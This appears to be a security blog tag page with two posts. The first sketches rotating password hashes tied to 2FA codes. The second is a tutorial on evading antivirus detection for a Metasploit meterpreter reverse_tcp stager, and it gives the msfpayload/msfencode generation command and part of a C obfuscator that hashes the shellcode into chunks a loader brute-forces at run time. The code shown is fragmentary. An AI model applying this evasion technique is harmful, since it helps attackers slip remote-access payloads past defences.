Posts Tagged ‘hash’

One of the things that has always fascinated me is when you are watching some Hollywood movie and they talk about stuff like “rotating string cipher encryption with a strength of 228 bits”. Now this has always sounded both funny and interesting to me. Like what if you could convert data that is normally static into actual continuous rotating data? This morning it hit me, this is something we can actually accomplish with password hashes. We can rotate them continuously, without the user even noticing and hopefully make it harder for attackers to crack the hash. Which is the main goal of this “idea/solution” making it harder or hopefully impossible for attacker to crack the hash when they obtain it. Here is a PoC preview output, screenshot OTP and usage OTP don’t match because they were obtained at different times:


./ S3cretP4ssword 545130
 Current password hash:
 Login OK
./ S3cretP4ssword 545130
 Current password hash:
 Login Failed

Like you can see we attempt to login with the same credentials both times and yet the second time this fails. If you are impatient then you’ve probably guessed that this is due to the added 2FA data in the login credentials and as usual you can jump straight to the code on my github. Now if you are curious how this works and how you could set this up in a real life setup keep on reading, do note that I haven’t tested this yet on a real life environment however. The setup is actually one of the important parts for this to work and actually slow down or hopefully prevent an attacker from successfully cracking the obtained hashes.

Now after you’ve read that you are probably thinking “shut up already with those ‘uncrackable’ claims” and yeah you are correct. It can probably be cracked, but hopefully we can settle for the second best which is (tremendously) slowing down the attacker.

For the remainder of this entry we will be focusing on further protecting the stored hashes and not on how to protect the in transit plain text password. This since obviously if you have full control of a server where the SSL is terminated you could just intercept all passwords in plain text. This can be solved with fancy challenge-response protocols or maybe (in browser) public-key cryptography. For now, let’s dig further into this ‘continuous changing hashes’ concept.


The previous entry was about lowering detection rates on AV by just simply recompiling and/or optimizing the source. This worked pretty well except for the really known tools like meterpreter. So let’s continue where we left off and make a undetectable executable for psexec purposes. First thing I did was the most obvious thing of course, I followed the shellcodeexec instructions and generated a metasploit alpha-numeric shellcode. Then I adjusted the source of shellcodeexec to incorporate the shellcode instead of passing it as an argument. This however failed miserably and the detection ratio was higher then 6/46. Then it hit me: I had lowered the detection rate on the ‘stage’ part and NOT on the ‘stager’ part. So that means we have to make some more executable code undetected, this time we’ll put a little bit more of effort into it:


Now that looks pretty sweet doesn’t it? 0/46 seems this time we don’t have to be happy with just lowering the detection rate, we have fully evaded it. Let’s have a look at how we can do this:

The concept of “self brute forcing” was used, but instead of using a cipher like AES, I used hashes. Normally you encrypt the entire payload with a weak key and then upon execution you brute force the key, hyperion is an example of this technique.  It’s pretty bulky still since the entire payload is just one big blob.  So I thought why only brute force the key and not the entire payload? So I modified the already undetected shellcodeexec to contain only hashes of the meterpreter payload. This way it’s a single executable that you can use for all kind of stuff. Don’t forget however that it’s still staged, so with this we are making the ‘stager’ part fully undetectable, but not the actual stage. If you need just one exe without stages have a look at ultimet.

Let’s generate the shellcode that is being detected:

cd /opt/metasploit-4.5.0/app
msfpayload windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=4444 LHOST= R | msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX

Which looks like this:


That doesn’t look to hard to obfuscate does it? Let’s go at it one step at the time. First we decide what hashing algorithm we want to use. For the POC implementation I went with CRC32 which is fast and the code is small. Then you have to decide how much data you want to brute force, the more data you brute force the longer it takes. So I went for a 3 character brute force. Now that we know all this we can get hands-on and build the obfuscator and then implement the bruteforcer into shellcodeexec. The obfuscator looks like this:

void genhashes(char *s,int len,int steps){
	int i,j;
	char *data = (char *)malloc(steps);

			data[j] = s[i+j];

Like you can see it loops through the string and hashes per the given amount of characters, which are outputted in C array friendly format. So now your payload looks like this: